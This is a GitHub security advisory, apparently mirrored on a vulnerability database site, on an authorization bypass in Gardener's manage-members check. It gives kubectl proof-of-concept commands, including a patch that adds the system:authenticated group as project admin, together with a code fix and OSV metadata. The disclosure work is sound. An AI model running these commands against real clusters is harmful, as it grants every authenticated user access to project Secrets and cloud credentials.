GHSA-GFJV-GQF2-C888
Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40Overview
The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.
Technical Details
The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states:
However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:
func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
if apiequality.Semantic.DeepEqual(oldMembers, members) {
return false
}
if userIsOwner(userInfo, owner) {
return false
}
var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
// ...
return !oldHumanUsers.Equal(newHumanUsers)
}
The isHumanUser() function at admission.go only matches Kind == "User":
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check.
A project admin without manage-members permission can freely add or remove Group members.
Steps to reproduce
Proof of concept:
1. Verify current project membership and confirm the owner has manage-members permission:
# Project members before the test:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes
- Add a second admin user (
test-admin-user) to the project WITHOUT theuamrole, then confirm they lackmanage-members:
# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no
- Verify
test-admin-usercannot add a human User member (the check works for Users):
$ kubectl patch --as=test-admin-user project local --type=merge -p '{
"spec": {
"members": [
{
"kind": "User",
"apiGroup": "rbac.authorization.k8s.io",
"name": "new-human-user@example.com",
"role": "viewer"
}
]
}
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"
- Bypass the check by adding a Group subject instead:
# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
{
"op": "add",
"path": "/spec/members/-",
"value": {
"kind": "Group",
"apiGroup": "rbac.authorization.k8s.io",
"name": "system:authenticated",
"role": "admin",
"roles": ["admin"]
}
}
]'
project.core.gardener.cloud/local patched
- Verify the Group was added to project members:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# - apiGroup: rbac.authorization.k8s.io
# kind: Group
# name: system:authenticated
# role: admin
- Demonstrate the impact - any authenticated user now has project access:
# As a random user
$ kubectl --as=random-user@example.com get shoots -n garden-local
NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE
local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m
Note:
random-user@example.comdoes not exist as a real user. However, the Kubernetes--asglobal flag performs user impersonation which is treated as a successfully authenticated request, automatically adding thesystem:authenticatedgroup. Sincesystem:authenticatedwas added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.
Security Impact
- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including
system:authenticated(all authenticated users) orsystem:unauthenticated(all unauthenticated users).
Patching & Remediation
- Fix
isHumanUser()to include Groups: The function should match the documented behavior. Change:go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }To:go func isNonServiceAccountSubject(subject rbacv1.Subject) bool { if subject.Kind == rbacv1.GroupKind { return true } return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gardener/gardener"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.142.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gardener/gardener"
},
"ranges": [
{
"events": [
{
"introduced": "1.143.0"
},
{
"fixed": "1.143.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gardener/gardener"
},
"ranges": [
{
"events": [
{
"introduced": "1.144.0"
},
{
"fixed": "1.144.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-79767"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:40:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Overview\nThe `manage-members` custom verb authorization check in the Gardener API server\u0027s `customverbauthorizer` admission plugin can be bypassed by adding `Group` or `ServiceAccount` subjects to a Project\u0027s member list. The check is documented as controlling \"human users or groups\", but the implementation only gates changes to `User`-kind subjects. A project admin (without `manage-members` permission) can add arbitrary Group subjects - including `system:authenticated` - granting all authenticated users full project-level access.\n## Technical Details\nThe official Gardener documentation at `docs/usage/project/projects.md:90-92` explicitly states:\n\u003cimg width=\"2090\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b\" /\u003e\n\nHowever, the `mustCheckProjectMembers()` function at `admission.go` compares old and new member lists using `findHumanUsersWithRoles()`, which only tracks subjects where `isHumanUser()` returns true:\n```go\nfunc mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {\n if apiequality.Semantic.DeepEqual(oldMembers, members) {\n return false\n }\n if userIsOwner(userInfo, owner) {\n return false\n }\n var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)\n // ...\n return !oldHumanUsers.Equal(newHumanUsers)\n}\n```\nThe `isHumanUser()` function at `admission.go` only matches `Kind == \"User\"`:\n```go\nfunc isHumanUser(subject rbacv1.Subject) bool {\n return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n}\n```\nKind: \"Group\" subjects are NOT matched by `isHumanUser()`, making Group member changes invisible to the authorization check. \nA project admin without manage-members permission can freely add or remove Group members.\n\n## Steps to reproduce\n\u003cimg width=\"4322\" height=\"1395\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c\" /\u003e\n\n---\n\n_Proof of concept:_\n1. Verify current project membership and confirm the owner has `manage-members` permission:\n```bash\n# Project members before the test:\n$ kubectl get project local -o yaml\n# members:\n# - apiGroup: rbac.authorization.k8s.io\n# kind: User\n# name: admin-user\n# role: admin\n# roles:\n# - owner\n\n# Confirm the owner CAN manage-members (expected)\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user\nyes\n```\n2. Add a second admin user (`test-admin-user`) to the project WITHOUT the `uam` role, then confirm they lack `manage-members`:\n```bash\n# After adding test-admin-user as admin (no uam role):\n$ kubectl get project local -o yaml\n# members:\n# - apiGroup: rbac.authorization.k8s.io\n# kind: User\n# name: admin-user\n# role: admin\n# roles:\n# - owner\n# - apiGroup: rbac.authorization.k8s.io\n# kind: User\n# name: test-admin-user\n# role: admin\n\n# Confirm test-admin-user does NOT have manage-members\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user\nno\n```\n3. Verify `test-admin-user` cannot add a human User member (the check works for Users):\n```bash\n$ kubectl patch --as=test-admin-user project local --type=merge -p \u0027{\n \"spec\": {\n \"members\": [\n {\n \"kind\": \"User\",\n \"apiGroup\": \"rbac.authorization.k8s.io\",\n \"name\": \"new-human-user@example.com\",\n \"role\": \"viewer\"\n }\n ]\n }\n}\u0027\nError from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) \"local\" is forbidden: user \"test-admin-user\" is not allowed to manage human users or groups in .spec.members for \"projects\"\n```\n4. Bypass the check by adding a Group subject instead:\n```bash\n# This should be denied but ISN\u0027T - the manage-members check is bypassed\n$ kubectl patch project local --as=test-admin-user --type=json -p \u0027[\n {\n \"op\": \"add\",\n \"path\": \"/spec/members/-\",\n \"value\": {\n \"kind\": \"Group\",\n \"apiGroup\": \"rbac.authorization.k8s.io\",\n \"name\": \"system:authenticated\",\n \"role\": \"admin\",\n \"roles\": [\"admin\"]\n }\n }\n]\u0027\n\nproject.core.gardener.cloud/local patched\n```\n5. Verify the Group was added to project members:\n```bash\n$ kubectl get project local -o yaml\n# members:\n# - apiGroup: rbac.authorization.k8s.io\n# kind: User\n# name: admin-user\n# role: admin\n# roles:\n# - owner\n# - apiGroup: rbac.authorization.k8s.io\n# kind: User\n# name: test-admin-user\n# role: admin\n# - apiGroup: rbac.authorization.k8s.io\n# kind: Group\n# name: system:authenticated\n# role: admin\n```\n6. Demonstrate the impact - any authenticated user now has project access:\n```bash\n# As a random user \n$ kubectl --as=random-user@example.com get shoots -n garden-local\nNAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE\nlocal local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m\n```\n\u003e_Note: `random-user@example.com` does not exist as a real user. However, the Kubernetes `--as` global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the `system:authenticated` group. Since `system:authenticated` was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._\n\n\n---\n## Security Impact\n- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including `system:authenticated` (all authenticated users) or `system:unauthenticated` (all unauthenticated users).\n## Patching \u0026 Remediation\n1. **Fix `isHumanUser()` to include Groups**: The function should match the documented behavior. Change:\n ```go\n func isHumanUser(subject rbacv1.Subject) bool {\n return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n }\n ```\n To:\n ```go\n func isNonServiceAccountSubject(subject rbacv1.Subject) bool {\n if subject.Kind == rbacv1.GroupKind {\n return true\n }\n return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n }\n ```",
"id": "GHSA-gfjv-gqf2-c888",
"modified": "2026-09-22T20:40:38Z",
"published": "2026-09-22T20:40:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888"
},
{
"type": "WEB",
"url": "https://github.com/gardener/gardener/pull/15080"
},
{
"type": "WEB",
"url": "https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545"
},
{
"type": "PACKAGE",
"url": "https://github.com/gardener/gardener"
},
{
"type": "WEB",
"url": "https://github.com/gardener/gardener/releases/tag/v1.144.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gardener: Authorization Bypass via Group Subject Injection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.